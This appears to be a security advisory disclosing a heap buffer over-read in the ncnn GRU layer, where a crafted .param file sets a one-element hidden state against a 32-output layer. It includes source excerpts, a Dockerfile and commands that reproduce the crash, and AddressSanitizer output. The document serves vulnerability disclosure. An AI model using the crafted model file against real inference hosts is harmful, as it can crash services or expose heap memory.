GRU Hidden-State Heap Over-Read
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/gru.cpp:107 in gru
Sanitizer verdict: heap-buffer-overflow
Summary
GRU::forward accepts an optional initial hidden state as its second input and clones it without checking that it holds num_output elements, so a graph that wires a one-element blob into a 32-output GRU makes the kernel read 32 floats from a 1-float allocation. The over-read values feed the reset and update gates, and the process — ncnnoptimize in the PoC, but any ncnn inference host running the same graph — aborts. The attacker supplies only the .param file; ncnnoptimize synthesizes weights when given null as the binary stream.
Detail
The hidden state is entirely model-shaped. When the graph gives the layer two bottoms, GRU::forward clones the second one straight into hidden, while the no-input branch right below it creates a correctly sized num_output x num_directions buffer — the size check exists only on the path that does not need it:
// src/layer/gru.cpp:444
Mat hidden;
Allocator* hidden_allocator = top_blobs.size() == 2 ? opt.blob_allocator : opt.workspace_allocator;
if (bottom_blobs.size() == 2)
{
hidden = bottom_blobs[1].clone(hidden_allocator);
}
else
{
hidden.create(num_output, num_directions, 4u, hidden_allocator);
if (hidden.empty())
return -100;
hidden.fill(0.f);
}
The gru() kernel then walks the hidden state with a loop bounded by num_output, which comes from parameter key 0 and has nothing to do with the tensor's real width:
// src/layer/gru.cpp:105
for (int i = 0; i < num_output; i++)
{
float h_cont = hidden_state[i];
R += weight_hc_R[i] * h_cont;
U += weight_hc_U[i] * h_cont;
}
The PoC declares Input hidden 0 1 hidden 0=1 and GRU gru 2 1 seq hidden output 0=32 1=96 2=0, so num_output = 32 while the cloned hidden state is a one-float Mat occupying ncnn's 84-byte minimum allocation (21 floats). The loop reads in-bounds for i = 0..20 — already reading 20 uninitialized neighbours — and at i = 21 reaches byte offset 84, exactly one element past the end of the 84-byte region, which is the 4-byte read AddressSanitizer reports at src/layer/gru.cpp:107. With a larger num_output the loop keeps running for num_output - 21 further elements.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-gru-hidden-state-heap-over-read && cd ncnn-poc-gru-hidden-state-heap-over-read
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
3 3
Input seq 0 1 seq 0=1
Input hidden 0 1 hidden 0=1
GRU gru 2 1 seq hidden output 0=32 1=96 2=0
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000000254 at pc 0x5e8317faed8b bp 0x7ffc464ed310 sp 0x7ffc464ed300
READ of size 4 at 0x50e000000254 thread T0
#0 0x5e8317faed8a in gru /ncnn/src/layer/gru.cpp:107
#1 0x5e8317fd5a46 in ncnn::GRU::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/layer/gru.cpp:476
#2 0x5e830fb5270b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
#3 0x5e830fb3ab7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#4 0x5e830fb9a9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#5 0x5e830fa2c3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#6 0x5e830faa9eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#7 0x739e60b6d1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x739e60b6d28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x5e830fa29624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x50e000000254 is located 0 bytes after 84-byte region [0x50e000000200,0x50e000000254)
allocated by thread T0 here:
#0 0x739e611e6f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x5e830fabe68e in fastMalloc /ncnn/src/allocator.h:62
#2 0x5e830fabe68e in ncnn::PoolAllocator::fastMalloc(unsigned long) /ncnn/src/allocator.cpp:159
#3 0x5e830fafc621 in ncnn::Mat::create(int, unsigned long, int, ncnn::Allocator*) /ncnn/src/mat.cpp:497
#4 0x5e830fae2c14 in ncnn::Mat::clone(ncnn::Allocator*) const /ncnn/src/mat.cpp:79
#5 0x5e8317fd014a in ncnn::GRU::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/layer/gru.cpp:448
#6 0x5e830fb5270b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
#7 0x5e830fb3ab7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#8 0x5e830fb9a9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#9 0x5e830fa2c3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#10 0x5e830faa9eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#11 0x739e60b6d1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#12 0x739e60b6d28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#13 0x5e830fa29624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/gru.cpp:107 in gru
Credit
Zheng Yu @ DepthFirst